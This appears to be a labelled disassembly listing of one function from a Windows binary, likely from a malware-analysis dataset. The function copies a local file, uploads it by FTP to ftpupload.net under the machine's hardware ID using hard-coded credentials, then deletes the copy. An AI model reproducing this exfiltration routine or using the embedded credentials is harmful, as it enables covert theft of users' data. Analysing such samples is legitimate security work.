Function at 0x405f7f
Capabilities:
Connect to http server
Copy file
Create http request
Delete file
Send file using ftp

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x17c
mov dword [ebp - 0x144], sym.___gxx_personality_sj0
mov dword [ebp - 0x140], 0x48b72a
lea eax, [ebp - 0x13c]
lea ebx, [ebp - 0x18]
mov dword [eax], ebx
mov edx, 0x406261
mov dword [eax + 4], edx
mov dword [eax + 8], esp
lea eax, [ebp - 0x15c]
mov dword [esp], eax
call dbg._Unwind_SjLj_Register
lea eax, [ebp - 0x28]
mov dword [esp], eax
mov dword [ebp - 0x158], 0xffffffff
call sym.get_vn_path__
lea eax, [ebp - 0x124]
mov dword [esp + 4], 8
lea edx, [ebp - 0x28]
mov dword [esp], edx
mov dword [ebp - 0x158], 1
mov ecx, eax
call sym.std::basic_ifstream_char__std::char_traits_char___::basic_ifstream_std::string_const__std::_Ios_Openmode_
sub esp, 8
lea eax, [ebp - 0x124]
add eax, 0x70
mov dword [ebp - 0x158], 2
mov ecx, eax
call method.std::basic_ios_char__std::char_traits_char___.operator____const
test al, al
je 0x406037
mov dword [ebp - 0x164], 1
mov dword [ebp - 0x160], 0
jmp 0x4061ad
lea eax, [ebp - 0x28]
mov ecx, eax
call method.std::string.c_str___const
mov dword [esp + 8], 0
mov dword [esp + 4], str.C:_vn.txt
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x158], 2
call eax
sub esp, 0xc
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 0
mov eax, dword [sym.imp.WININET.DLL_InternetOpenA]
call eax
sub esp, 0x14
mov dword [ebp - 0x1c], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0x8000000
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], str.STDON99
mov dword [esp + 0xc], str.epiz_29222625
mov dword [esp + 8], 0x15
mov dword [esp + 4], str.ftpupload.net
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.DLL_InternetConnectA]
call eax
sub esp, 0x20
mov dword [ebp - 0x20], eax
mov dword [esp], 0
call sym._time
mov dword [esp], eax
call sym._srand
lea eax, [ebp - 0x24]
mov dword [esp], eax
call sym.get_hardware_id__
lea eax, [ebp - 0x2c]
lea edx, [ebp - 0x24]
mov dword [esp + 8], edx
mov dword [esp + 4], str._htdocs_vn_
mov dword [esp], eax
mov dword [ebp - 0x158], 3
call method.std::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::basic_string_char__std::char_traits_char___std::allocator_char____
lea eax, [ebp - 0x24]
mov ecx, eax
call fcn.0045c330
lea eax, [ebp - 0x2c]
mov dword [esp], 0x495638
mov dword [ebp - 0x158], 4
mov ecx, eax
call method.std::string.operator_char_const_
sub esp, 4
lea eax, [ebp - 0x2c]
mov ecx, eax
call method.std::string.c_str___const
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 2
mov dword [esp + 8], eax
mov dword [esp + 4], str.C:_vn.txt
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.DLL_FtpPutFileA]
call eax
sub esp, 0x14
mov dword [esp], str.C:_vn.txt
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileA]
call eax
sub esp, 4
lea eax, [ebp - 0x2c]
mov ecx, eax
call fcn.0045c330
mov dword [ebp - 0x160], 1
lea eax, [ebp - 0x124]
mov ecx, eax
call fcn.0046e020
cmp dword [ebp - 0x160], 1
je 0x4061cf
mov dword [ebp - 0x160], 0
jmp 0x4061da
nop
mov dword [ebp - 0x160], 1
lea eax, [ebp - 0x28]
mov ecx, eax
call fcn.0045c330
cmp dword [ebp - 0x160], 1
jne 0x4061f3
nop
jmp 0x4062b6
mov eax, dword [ebp - 0x164]
mov dword [ebp - 0x160], eax
jmp 0x4062b6
lea eax, [ebp - 0x15c]
mov dword [esp], eax
call sym.__Unwind_SjLj_Unregister
mov eax, dword [ebp - 0x160]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret